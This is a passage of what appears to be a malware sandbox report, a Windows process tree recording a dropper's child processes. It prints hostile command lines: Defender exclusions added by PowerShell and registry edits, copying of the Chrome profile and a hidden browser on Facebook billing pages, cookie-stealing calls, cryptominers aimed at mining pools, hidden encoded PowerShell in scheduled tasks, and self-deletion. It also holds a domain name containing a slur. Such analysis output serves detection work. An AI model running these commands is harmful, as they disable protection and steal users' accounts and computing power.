        tapinstall.exe install OemVista.inf tap0901
        11⤵
        
        PID:6272
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" uninstall
        10⤵
        
        PID:6580
        
        C:\Program Files (x86)\MaskVPN\mask_svc.exe
        
        "C:\Program Files (x86)\MaskVPN\mask_svc.exe" install
        10⤵
        
        PID:7372
        
        C:\Users\Admin\AppData\Local\Temp\0p4dmmlsiac\IBInstaller_97039.exe
        
        "C:\Users\Admin\AppData\Local\Temp\0p4dmmlsiac\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        8⤵
        
        PID:5416
        
        C:\Users\Admin\AppData\Local\Temp\is-H6DOR.tmp\IBInstaller_97039.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-H6DOR.tmp\IBInstaller_97039.tmp" /SL5="$1050A,9935198,721408,C:\Users\Admin\AppData\Local\Temp\0p4dmmlsiac\IBInstaller_97039.exe" /VERYSILENT /PASSWORD=kSWIzY9AFOirvP3TueIs97039 -token mtn1co3fo4gs5vwq
        9⤵
        
        PID:4084
        
        C:\Windows\SysWOW64\cmd.exe
        
        "cmd.exe" /c start http://ilovenigerdickz.club/pgudonqntu/zmsaksepfx.php?xdl=mtn1co3fo4gs5vwq^&cid=97039
        10⤵
        
        PID:3708
        
        C:\Users\Admin\AppData\Local\Temp\is-45RJJ.tmp\{app}\chrome_proxy.exe
        
        "C:\Users\Admin\AppData\Local\Temp\is-45RJJ.tmp\{app}\chrome_proxy.exe"
        10⤵
        
        PID:5176
        
        C:\Users\Admin\AppData\Local\Temp\2qu5w2zierk\AwesomePoolU1.exe
        
        "C:\Users\Admin\AppData\Local\Temp\2qu5w2zierk\AwesomePoolU1.exe"
        8⤵
        
        PID:4500
        
        C:\Users\Admin\AppData\Local\Temp\n5g0otso3tx\app.exe
        
        "C:\Users\Admin\AppData\Local\Temp\n5g0otso3tx\app.exe" /8-23
        8⤵
        
        PID:4844
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Wild-Rain'
        9⤵
        
        PID:3936
        
        C:\Program Files (x86)\Wild-Rain\7za.exe
        
        "C:\Program Files (x86)\Wild-Rain\7za.exe" e -p154.61.71.51 winamp.7z
        9⤵
        
        PID:4852
        
        C:\Program Files (x86)\Wild-Rain\app.exe
        
        "C:\Program Files (x86)\Wild-Rain\app.exe" /8-23
        9⤵
        
        PID:6752
        
        C:\Program Files (x86)\Wild-Rain\app.exe
        
        "C:\Program Files (x86)\Wild-Rain\app.exe" /8-23
        10⤵
        
        PID:6828
        
        C:\Users\Admin\AppData\Local\Temp\nhr1i4e5u1t\p530ermcvv0.exe
        
        "C:\Users\Admin\AppData\Local\Temp\nhr1i4e5u1t\p530ermcvv0.exe" /quiet SILENT=1 AF=756
        8⤵
        
        PID:4676
        
        C:\Windows\SysWOW64\msiexec.exe
        
        "C:\Windows\system32\msiexec.exe" /i "C:\Users\Admin\AppData\Roaming\Weather\Weather 1.0.0\install\FD7DF1F\Weather Installation.msi" /quiet SILENT=1 AF=756 AI_SETUPEXEPATH=C:\Users\Admin\AppData\Local\Temp\nhr1i4e5u1t\p530ermcvv0.exe SETUPEXEDIR=C:\Users\Admin\AppData\Local\Temp\nhr1i4e5u1t\ EXE_CMD_LINE="/exenoupdates /forcecleanup /wintime 1616609694 /quiet SILENT=1 AF=756 " AF="756" AI_CONTROL_VISUAL_STYLE="16578540;16578540;14988840;12422912"
        9⤵
        
        PID:5260
        
        C:\Users\Admin\AppData\Local\Temp\v2jif2kzt1m\kmlq1wjh500.exe
        
        "C:\Users\Admin\AppData\Local\Temp\v2jif2kzt1m\kmlq1wjh500.exe" /1-610
        8⤵
        
        PID:4220
        
        C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Wispy-Silence'
        9⤵
        
        PID:3604
        
        C:\Program Files (x86)\Wispy-Silence\7za.exe
        
        "C:\Program Files (x86)\Wispy-Silence\7za.exe" e -p154.61.71.51 winamp.7z
        9⤵
        
        PID:5884
        
        C:\Program Files (x86)\Wispy-Silence\kmlq1wjh500.exe
        
        "C:\Program Files (x86)\Wispy-Silence\kmlq1wjh500.exe" /1-610
        9⤵
        
        PID:6764
        
        C:\Program Files (x86)\Wispy-Silence\kmlq1wjh500.exe
        
        "C:\Program Files (x86)\Wispy-Silence\kmlq1wjh500.exe" /1-610
        10⤵
        
        PID:10016
    - - C:\Users\Admin\AppData\Local\Temp\S2OHEOXH6F\setups.exe
        
        "C:\Users\Admin\AppData\Local\Temp\S2OHEOXH6F\setups.exe" ll
        5⤵
        Executes dropped EXE
        
        PID:5904
      - C:\Users\Admin\AppData\Local\Temp\is-MLQH2.tmp\setups.tmp
        
        "C:\Users\Admin\AppData\Local\Temp\is-MLQH2.tmp\setups.tmp" /SL5="$202DA,408070,216064,C:\Users\Admin\AppData\Local\Temp\S2OHEOXH6F\setups.exe" ll
        6⤵
        Executes dropped EXE
        Checks computer location settings
        Loads dropped DLL
        Suspicious behavior: EnumeratesProcesses
        
        PID:3416
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\askinstall20.exe"
      4⤵
      Executes dropped EXE
      Drops Chrome extension
      Suspicious use of AdjustPrivilegeToken
      PID:5936
    - - C:\Windows\SysWOW64\cmd.exe
        
        cmd.exe /c taskkill /f /im chrome.exe
        5⤵
        
        PID:972
      - C:\Windows\SysWOW64\taskkill.exe
        
        taskkill /f /im chrome.exe
        6⤵
        Kills process with taskkill
        Suspicious use of AdjustPrivilegeToken
        
        PID:4972
    - - C:\Windows\SysWOW64\xcopy.exe
        
        xcopy "C:\Users\Admin\AppData\Local\Google\Chrome\User Data" "C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\" /s /e /y
        5⤵
        Enumerates system info in registry
        
        PID:4800
    - - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --window-position=-50000,-50000 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" https://www.facebook.com/ https://www.facebook.com/pages/ https://secure.facebook.com/ads/manager/account_settings/account_billing/
        5⤵
        Suspicious use of FindShellTrayWindow
        
        PID:4772
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler --user-data-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 /prefetch:7 --monitor-self-annotation=ptype=crashpad-handler --database=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99\Crashpad --metrics-dir=C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99 --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=86.0.4240.111 --initial-client-data=0xd4,0xd8,0xdc,0xb0,0xe0,0x7ffeeb696e00,0x7ffeeb696e10,0x7ffeeb696e20
        6⤵
        
        PID:4256
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=network --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=1632 /prefetch:8
        6⤵
        
        PID:5184
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --gpu-preferences=MAAAAAAAAADgAAAwAAAAAAAAAAAAAAAAAABgAAAAAAAQAAAAAAAAAAAAAAAAAAAAKAAAAAQAAAAgAAAAAAAAACgAAAAAAAAAMAAAAAAAAAA4AAAAAAAAABAAAAAAAAAAAAAAAAUAAAAQAAAAAAAAAAAAAAAGAAAAEAAAAAAAAAABAAAABQAAABAAAAAAAAAAAQAAAAYAAAA= --mojo-platform-channel-handle=1532 /prefetch:2
        6⤵
        
        PID:5132
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=2208 /prefetch:8
        6⤵
        
        PID:3592
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=4 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3404 /prefetch:1
        6⤵
        
        PID:1804
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --extension-process --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=5 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3744 /prefetch:1
        6⤵
        
        PID:2112
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=10 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3220 /prefetch:1
        6⤵
        
        PID:1384
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=9 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=3100 /prefetch:1
        6⤵
        
        PID:2624
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=7 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2720 /prefetch:1
        6⤵
        
        PID:4248
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --origin-trial-disabled-features=SecurePaymentConfirmation --device-scale-factor=1 --num-raster-threads=1 --renderer-client-id=8 --no-v8-untrusted-code-mitigations --mojo-platform-channel-handle=2712 /prefetch:1
        6⤵
        
        PID:396
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=data_decoder.mojom.DataDecoderService --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=utility --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5092 /prefetch:8
        6⤵
        
        PID:5088
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5208 /prefetch:8
        6⤵
        
        PID:5784
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5352 /prefetch:8
        6⤵
        
        PID:7008
      - C:\Program Files\Google\Chrome\Application\chrome.exe
        
        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.UtilWin --field-trial-handle=1520,16936999875634302664,10564108601700722957,131072 --lang=en-US --service-sandbox-type=none --user-data-dir="C:\Users\Admin\AppData\Local\Temp\cghjgasaaz99" --mojo-platform-channel-handle=5340 /prefetch:8
        6⤵
        
        PID:6012
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
      4⤵
      Executes dropped EXE
      PID:4116
    - - C:\Users\Admin\AppData\Roaming\FAE8.tmp.exe
        
        "C:\Users\Admin\AppData\Roaming\FAE8.tmp.exe"
        5⤵
        
        PID:776
      - C:\Windows\system32\msiexec.exe
        
        -P stratum1+ssl://0xb7633a80145Ec9ce2b8b5F80AB36C783064C2E10.work@eu-eth.hiveon.net:24443 -R --response-timeout 30 --farm-retries 99999
        6⤵
        
        PID:5236
      - C:\Windows\system32\msiexec.exe
        
        -o pool.supportxmr.com:8080 -u 47wDrszce6VbnMB4zhhEA1Gr3EzwHx2eS6QzC5sFoq8iGdMjnzX8bnEjBdQHsAuW8C1SNgxyGa4DQTVnQ9jfhRod73np5P8 --cpu-max-threads-hint 50 -r 9999
        6⤵
        
        PID:5532
    - - C:\Windows\SysWOW64\cmd.exe
        
        "C:\Windows\system32\cmd.exe" /c ping 127.0.0.1 && del "C:\Users\Admin\AppData\Local\Temp\RarSFX1\file.exe"
        5⤵
        
        PID:5860
      - C:\Windows\SysWOW64\PING.EXE
        
        ping 127.0.0.1
        6⤵
        Runs ping.exe
        
        PID:6104
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\md2_2efs.exe"
      4⤵
      PID:1104
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\BTRSetp.exe"
      4⤵
      PID:6384
    - - C:\ProgramData\4021308.exe
        
        "C:\ProgramData\4021308.exe"
        5⤵
        
        PID:6296
    - - C:\ProgramData\2736409.exe
        
        "C:\ProgramData\2736409.exe"
        5⤵
        
        PID:1060
    - - C:\ProgramData\2236624.exe
        
        "C:\ProgramData\2236624.exe"
        5⤵
        
        PID:1044
    - - C:\ProgramData\8945748.exe
        
        "C:\ProgramData\8945748.exe"
        5⤵
        
        PID:3872
  - - C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe
      "C:\Users\Admin\AppData\Local\Temp\RarSFX1\gcttt.exe"
      4⤵
      PID:5816
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:6492
    - - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        5⤵
        
        PID:7776

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdge.exe" -ServerName:MicrosoftEdge.AppXdnhjhccw3zf0j06tkg3jtqr00qdm0khc.mca
1⤵
- Drops file in Windows directory
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
PID:1396

C:\Windows\system32\browser_broker.exe
C:\Windows\system32\browser_broker.exe -Embedding
1⤵
- Modifies Internet Explorer settings
PID:3988

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies registry class
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:5712

C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe
"C:\Windows\SystemApps\Microsoft.MicrosoftEdge_8wekyb3d8bbwe\MicrosoftEdgeCP.exe" -ServerName:ContentProcess.AppX6z3cwk4fvgady6zya12j1cw28d228a7k.mca
1⤵
- Modifies Internet Explorer settings
- Modifies registry class
- Suspicious use of AdjustPrivilegeToken
PID:1436

C:\Windows\system32\msiexec.exe
C:\Windows\system32\msiexec.exe /V
1⤵
PID:2104
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding 63561F5D714BBE9AE0EC503624B48CF6 C
  2⤵
  PID:660
- C:\Windows\syswow64\MsiExec.exe
  C:\Windows\syswow64\MsiExec.exe -Embedding E630B947BCB57DC2BDE02ABA372F7624
  2⤵
  PID:5592
- C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe
  "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\aipackagechainer.exe"
  2⤵
  PID:8824
- - C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe
    "C:\Users\Admin\AppData\Roaming\Weather\Weather\prerequisites\RequiredApplication_1\Weather_Installation.exe" -silent=1 -AF=756 -BF=default -uncf=default
    3⤵
    PID:6824

C:\Users\Admin\AppData\Local\Temp\is-A5ALC.tmp\LabPicV3.tmp
"C:\Users\Admin\AppData\Local\Temp\is-A5ALC.tmp\LabPicV3.tmp" /SL5="$30422,239334,155648,C:\Program Files (x86)\VR\Versium Research\LabPicV3.exe"
1⤵
PID:5440
- C:\Users\Admin\AppData\Local\Temp\is-7QUL4.tmp\ppppppfy.exe
  "C:\Users\Admin\AppData\Local\Temp\is-7QUL4.tmp\ppppppfy.exe" /S /UID=lab214
  2⤵
  PID:2024
- - C:\Program Files\Windows Photo Viewer\JNUWXUUCJW\prolab.exe
    "C:\Program Files\Windows Photo Viewer\JNUWXUUCJW\prolab.exe" /VERYSILENT
    3⤵
    PID:5916
  - - C:\Users\Admin\AppData\Local\Temp\is-6I0PV.tmp\prolab.tmp
      "C:\Users\Admin\AppData\Local\Temp\is-6I0PV.tmp\prolab.tmp" /SL5="$2058E,575243,216576,C:\Program Files\Windows Photo Viewer\JNUWXUUCJW\prolab.exe" /VERYSILENT
      4⤵
      PID:3892
- - C:\Users\Admin\AppData\Local\Temp\b1-c11b1-eb8-95caf-e2f2dfde6e0af\Sumihuqulo.exe
    "C:\Users\Admin\AppData\Local\Temp\b1-c11b1-eb8-95caf-e2f2dfde6e0af\Sumihuqulo.exe"
    3⤵
    PID:7088
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\yry5x0j4.bsm\gaooo.exe & exit
      4⤵
      PID:2132
    - - C:\Users\Admin\AppData\Local\Temp\yry5x0j4.bsm\gaooo.exe
        
        C:\Users\Admin\AppData\Local\Temp\yry5x0j4.bsm\gaooo.exe
        5⤵
        
        PID:1084
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:5004
      - C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe
        
        C:\Users\Admin\AppData\Local\Temp\jfiag3g_gg.exe /scookiestxt C:\Users\Admin\AppData\Local\Temp\fj4ghga23_fsa.txt
        6⤵
        
        PID:3876
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mdwdn5d0.jho\md7_7dfj.exe & exit
      4⤵
      PID:1328
    - - C:\Users\Admin\AppData\Local\Temp\mdwdn5d0.jho\md7_7dfj.exe
        
        C:\Users\Admin\AppData\Local\Temp\mdwdn5d0.jho\md7_7dfj.exe
        5⤵
        
        PID:6688
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\pbtbpyml.pgh\askinstall31.exe & exit
      4⤵
      PID:4520
    - - C:\Users\Admin\AppData\Local\Temp\pbtbpyml.pgh\askinstall31.exe
        
        C:\Users\Admin\AppData\Local\Temp\pbtbpyml.pgh\askinstall31.exe
        5⤵
        
        PID:932
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\x1o1cmez.hvu\customer6.exe & exit
      4⤵
      PID:6240
    - - C:\Users\Admin\AppData\Local\Temp\x1o1cmez.hvu\customer6.exe
        
        C:\Users\Admin\AppData\Local\Temp\x1o1cmez.hvu\customer6.exe
        5⤵
        
        PID:2972
      - C:\Users\Admin\AppData\Local\Temp\RarSFX5\main.exe
        
        "C:\Users\Admin\AppData\Local\Temp\RarSFX5\main.exe"
        6⤵
        
        PID:7744
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ptpwq21y.pek\HookSetp.exe & exit
      4⤵
      PID:4260
    - - C:\Users\Admin\AppData\Local\Temp\ptpwq21y.pek\HookSetp.exe
        
        C:\Users\Admin\AppData\Local\Temp\ptpwq21y.pek\HookSetp.exe
        5⤵
        
        PID:6648
      - C:\ProgramData\7987851.exe
        
        "C:\ProgramData\7987851.exe"
        6⤵
        
        PID:4688
      - C:\ProgramData\5544811.exe
        
        "C:\ProgramData\5544811.exe"
        6⤵
        
        PID:7668
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\gnwvv0xc.o1o\privacytools5.exe & exit
      4⤵
      PID:6652
    - - C:\Users\Admin\AppData\Local\Temp\gnwvv0xc.o1o\privacytools5.exe
        
        C:\Users\Admin\AppData\Local\Temp\gnwvv0xc.o1o\privacytools5.exe
        5⤵
        
        PID:5220
      - C:\Users\Admin\AppData\Local\Temp\gnwvv0xc.o1o\privacytools5.exe
        
        C:\Users\Admin\AppData\Local\Temp\gnwvv0xc.o1o\privacytools5.exe
        6⤵
        
        PID:7304
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\fdf1dxje.00y\GcleanerWW.exe /mixone & exit
      4⤵
      PID:6948
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\ajbhalhp.4gu\19.exe & exit
      4⤵
      PID:8060
    - - C:\Users\Admin\AppData\Local\Temp\ajbhalhp.4gu\19.exe
        
        C:\Users\Admin\AppData\Local\Temp\ajbhalhp.4gu\19.exe
        5⤵
        
        PID:7476
      - C:\Windows\SysWOW64\WScript.exe
        
        "C:\Windows\System32\WScript.exe" "C:\Program Files\install.vbs"
        6⤵
        
        PID:1100
        
        C:\Windows\SysWOW64\rundll32.exe
        
        "C:\Windows\System32\rundll32.exe" "C:\Program Files\install.dll",install
        7⤵
        
        PID:3440
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\bmx5txb4.qgx\b9706c20.exe & exit
      4⤵
      PID:8136
    - - C:\Users\Admin\AppData\Local\Temp\bmx5txb4.qgx\b9706c20.exe
        
        C:\Users\Admin\AppData\Local\Temp\bmx5txb4.qgx\b9706c20.exe
        5⤵
        
        PID:4052
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\byhjuh5e.yls\setup.exe /8-2222 & exit
      4⤵
      PID:968
    - - C:\Users\Admin\AppData\Local\Temp\byhjuh5e.yls\setup.exe
        
        C:\Users\Admin\AppData\Local\Temp\byhjuh5e.yls\setup.exe /8-2222
        5⤵
        
        PID:3264
      - C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
        
        powershell -inputformat none -outputformat none -NonInteractive -Command Add-MpPreference -ExclusionPath 'C:\Program Files (x86)\Solitary-Waterfall'
        6⤵
        
        PID:7016
      - C:\Program Files (x86)\Solitary-Waterfall\7za.exe
        
        "C:\Program Files (x86)\Solitary-Waterfall\7za.exe" e -p154.61.71.51 winamp.7z
        6⤵
        
        PID:5836
      - C:\Program Files (x86)\Solitary-Waterfall\setup.exe
        
        "C:\Program Files (x86)\Solitary-Waterfall\setup.exe" /8-2222
        6⤵
        
        PID:8176
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\qbmnywk1.3h5\setup.exe /S /kr /site_id=754 & exit
      4⤵
      PID:6968
    - - C:\Users\Admin\AppData\Local\Temp\qbmnywk1.3h5\setup.exe
        
        C:\Users\Admin\AppData\Local\Temp\qbmnywk1.3h5\setup.exe /S /kr /site_id=754
        5⤵
        
        PID:3392
      - C:\Windows\SysWOW64\forfiles.exe
        
        "C:\Windows\System32\forfiles.exe" /p c:\windows\system32 /m cmd.exe /c "cmd /C REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:32&REG ADD \"HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions\" /f /v \"exe\" /t REG_SZ /d 0 /reg:64&"
        6⤵
        
        PID:5780
        
        C:\Windows\SysWOW64\cmd.exe
        
        /C REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32&REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64&
        7⤵
        
        PID:7784
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:32
        8⤵
        
        PID:7516
        
        \??\c:\windows\SysWOW64\reg.exe
        
        REG ADD "HKLM\SOFTWARE\Policies\Microsoft\Windows Defender\Exclusions\Extensions" /f /v "exe" /t REG_SZ /d 0 /reg:64
        8⤵
        
        PID:1256
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "gWFBkZQXe" /SC once /ST 01:10:02 /F /RU "Admin" /TR "powershell -WindowStyle Hidden -EncodedCommand cwB0AGEAcgB0AC0AcAByAG8AYwBlAHMAcwAgAC0AVwBpAG4AZABvAHcAUwB0AHkAbABlACAASABpAGQAZABlAG4AIABnAHAAdQBwAGQAYQB0AGUALgBlAHgAZQAgAC8AZgBvAHIAYwBlAA=="
        6⤵
        Creates scheduled task(s)
        
        PID:6960
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /run /I /tn "gWFBkZQXe"
        6⤵
        
        PID:4728
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /DELETE /F /TN "gWFBkZQXe"
        6⤵
        
        PID:8128
      - C:\Windows\SysWOW64\schtasks.exe
        
        schtasks /CREATE /TN "bmIXAqnwlcZKDlfrrr" /SC once /ST 18:26:00 /RU "SYSTEM" /TR "\"C:\Users\Admin\AppData\Local\Temp\QPVXDrhIkhHCtwmZO\oHMHtlDCFUByPPw\vrDzuPu.exe\" 9n /site_id 754 /S" /V1 /F
        6⤵
        Creates scheduled task(s)
        
        PID:9124
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /k C:\Users\Admin\AppData\Local\Temp\mif51u0v.m4t\Four.exe & exit
      4⤵
      PID:6372
    - - C:\Users\Admin\AppData\Local\Temp\mif51u0v.m4t\Four.exe
        
        C:\Users\Admin\AppData\Local\Temp\mif51u0v.m4t\Four.exe
        5⤵
        
        PID:796
      - C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe
        
        "C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe" 0 306033e7ac94ccd3.87625057 0 104
        6⤵
        
        PID:2024
        
        C:\Users\Admin\AppData\Local\Temp\XT7K2BO8Q7\multitimer.exe
        
